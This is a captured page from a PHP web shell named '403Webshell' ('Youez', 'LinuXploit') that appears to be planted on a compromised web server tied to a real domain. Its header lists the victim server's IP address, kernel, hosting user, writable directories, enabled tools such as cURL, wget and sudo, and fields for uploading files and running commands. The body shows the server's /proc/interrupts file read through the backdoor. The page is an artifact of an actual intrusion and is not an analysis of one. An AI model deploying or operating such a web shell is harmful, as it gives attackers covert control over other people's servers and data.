403Webshell
Server IP : 167.235.67.158  /  Your IP : 216.73.216.95
Web Server : Apache
System : Linux ubuntu-8gb-nbg1-1 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : upstairsbar.co.uk ( 982)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/interrupts
           CPU0       CPU1       CPU2       CPU3       
  0:        178          0          0          0   IO-APIC   2-edge      timer
  1:          0          9          0          0   IO-APIC   1-edge      i8042
  4:          0          0          0        837   IO-APIC   4-edge      ttyS0
  8:          0          0          1          0   IO-APIC   8-edge      rtc0
  9:          0          0          0          0   IO-APIC   9-fasteoi   acpi
 12:         15          0          0          0   IO-APIC  12-edge      i8042
 22:          0          0          0          0   IO-APIC  22-fasteoi   virtio3
 24:          0          0          0          0  PCI-MSIX-0000:00:02.0   0-edge      PCIe PME, aerdrv
 25:          0          0          0          0  PCI-MSIX-0000:00:02.1   0-edge      PCIe PME, aerdrv
 26:          0          0          0          0  PCI-MSIX-0000:00:02.2   0-edge      PCIe PME, aerdrv
 27:          0          0          0          0  PCI-MSIX-0000:00:02.3   0-edge      PCIe PME, aerdrv
 28:          0          0          0          0  PCI-MSIX-0000:00:02.4   0-edge      PCIe PME, aerdrv
 29:          0          0          0          0  PCI-MSIX-0000:00:02.5   0-edge      PCIe PME, aerdrv
 30:          0          0          0          0  PCI-MSIX-0000:00:02.6   0-edge      PCIe PME, aerdrv
 31:          0          0          0          0  PCI-MSIX-0000:00:02.7   0-edge      PCIe PME, aerdrv
 32:          0          0          0          0  PCI-MSIX-0000:00:03.0   0-edge      PCIe PME, aerdrv
 33:          0          0          0          0  PCI-MSIX-0000:03:00.0   0-edge      virtio2-config
 34:          0          8          0          0  PCI-MSIX-0000:03:00.0   1-edge      virtio2-virtqueues
 35:          0          0          0          0  PCI-MSIX-0000:06:00.0   0-edge      virtio5-config
 36:          0          0          0          0  PCI-MSIX-0000:06:00.0   1-edge      virtio5-control
 37:          0          0          0          0  PCI-MSIX-0000:06:00.0   2-edge      virtio5-event
 38:   25404676          0          0          0  PCI-MSIX-0000:06:00.0   3-edge      virtio5-request
 39:          0   25296400          0          0  PCI-MSIX-0000:06:00.0   4-edge      virtio5-request
 40:          0          0   25180429          0  PCI-MSIX-0000:06:00.0   5-edge      virtio5-request
 41:          0          0          0   24678786  PCI-MSIX-0000:06:00.0   6-edge      virtio5-request
 42:          0          5          0          0  PCI-MSIX-0000:01:00.0   0-edge      virtio1-config
 43:          0          0   78101288          0  PCI-MSIX-0000:01:00.0   1-edge      virtio1-input.0
 44:          0          0          0   85700334  PCI-MSIX-0000:01:00.0   2-edge      virtio1-output.0
 45:    3038837          0          0          0  PCI-MSI-0000:00:1f.2   0-edge      ahci[0000:00:1f.2]
 46:          0          0          0          0  PCI-MSIX-0000:00:01.0   0-edge      virtio0-config
 47:          0          0   29100079          0  PCI-MSIX-0000:00:01.0   1-edge      virtio0-control
 48:          0          0          0          0  PCI-MSIX-0000:00:01.0   2-edge      virtio0-cursor
 49:          0          0         32          0  PCI-MSIX-0000:02:00.0   0-edge      xhci_hcd
 53:          0          0          0          0  PCI-MSIX-0000:05:00.0   0-edge      virtio4-config
 54:          0      98317          0          0  PCI-MSIX-0000:05:00.0   1-edge      virtio4-input
NMI:          0          0          0          0   Non-maskable interrupts
LOC:  855170546  878121874  867107313  860595300   Local timer interrupts
SPU:          0          0          0          0   Spurious interrupts
PMI:          0          0          0          0   Performance monitoring interrupts
IWI:     482296     120221     143882      21663   IRQ work interrupts
RTR:          0          0          0          0   APIC ICR read retries
RES:    3749377    3435813    2438627    3513232   Rescheduling interrupts
CAL:  401199074  296837979  230330041  226190435   Function call interrupts
TLB:    3949715    3797438    3665134    3721840   TLB shootdowns
TRM:          0          0          0          0   Thermal event interrupts
THR:          0          0          0          0   Threshold APIC interrupts
DFR:          0          0          0          0   Deferred Error APIC interrupts
MCE:          0          0          0          0   Machine check exceptions
MCP:      18433      18433      18433      18433   Machine check polls
ERR:          0
MIS:          0
PIN:          0          0          0          0   Posted-interrupt notification event
NPI:          0          0          0          0   Nested posted-interrupt event
PIW:          0          0          0          0   Posted-interrupt wakeup event

Youez - 2016 - github.com/yon3zu
LinuXploit